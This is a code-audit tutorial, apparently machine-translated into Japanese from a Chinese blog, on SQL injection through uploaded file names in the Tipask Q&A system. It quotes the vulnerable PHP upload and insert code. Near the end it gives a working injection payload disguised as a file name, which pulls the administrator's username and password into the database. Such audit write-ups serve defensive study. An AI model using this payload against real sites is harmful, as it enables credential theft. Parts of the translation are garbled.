SQL インジェクションに対する今日の WEB アプリケーション保護は、基本的に GPC がオンになっているかどうかを決定し、addlashes 関数を使用して一重引用符などの特殊文字をエスケープします。しかし、このような保護を使用するだけでは多くの盲点があります。前の記事 http://www.cnbraid.com/2016/04/29/sql5/ に続いて、他の 2 つの状況を紹介します。
盲点は次のとおりです:
①FILESインジェクション、GET、POSTなどで渡されるパラメータのみがグローバルにエスケープされ、FILESは省略されます。
②変数カバレッジ、危険な関数:extract()、parse_str()、$。 $。
FILES インジェクション
FILES インジェクションは、通常、アップロード時にアップロードされた名前をデータベースに取り込むことによって引き起こされます。 ここでは、tipask の質問と回答システムを見てみましょう
まず、その方法を見てみましょう。そのグローバル保護は次のように処理されます:
index.php里:include TIPASK_ROOT . '/model/tipask.class.php';$tipask = new tipask();$tipask->run();... ...跟进到/model/tipask.class.php里:function init_request() {... ... $this->get = taddslashes($this->get, 1); $this->post = taddslashes(array_merge($_GET, $_POST)); checkattack($this->post, 'post'); checkattack($this->get, 'get'); unset($_POST); }
get と post からのデータが addslashes によって特別にエスケープされており、$_FILES に対する処理操作がないことがわかります。$_FILES をグローバルに検索し、/control/attach.php を見つけます。アップロード処理があります。フォローアップします:
<?phpfunction onupload() { //上传配置 $config = array( "uploadPath" => "data/attach/", //保存路径 "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式 "fileSize" => 10 //文件大小限制,单位MB ); //文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜 $state = "SUCCESS"; $clientFile = $_FILES["upfile"]; if (!isset($clientFile)) { echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size exit; } //格式验证 $current_type = strtolower(strrchr($clientFile["name"], '.')); if (!in_array($current_type, $config['fileType'])) { $state = "不支持的文件类型!"; } //大小验证 $file_size = 1024 * 1024 * $config['fileSize']; if ($clientFile["size"] > $file_size) { $state = "文件大小超出限制!"; } //保存文件 if ($state == "SUCCESS") { $targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.'); $result = $_ENV['attach']->movetmpfile($clientFile, $targetfile); if (!$result) { $state = "文件保存失败!"; } else { //这里将上传的文件名带入数据库查询 $_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0); } } //向浏览器返回数据json数据 echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';}
$_ENV['attach']->add($clientFile["name"]...), put $clientFile[name] = $_FILES[ "upfile"][name] 次の追加操作がデータベースに取り込まれ、インジェクションが発生します。
<?phpfunction add($filename,$ftype,$fsize,$location,$isimage=1) { $uid=$this->base->user['uid']; $this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid) VALUES ({$this->base->time},'$filename','$ftype','$fsize','$location',$isimage,$uid)"); return $this->db->insert_id();}
ファイルをアップロードし、ファイル名を次のコードに変更して管理者アカウントのパスワードを取得します:
filename="1','.php',1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg"
管理者アカウントのパスワードがデータベースの接続テーブルに正常に挿入されました:
元のアドレス: http ://www.cnbraid.com/2016/05/10/sql6/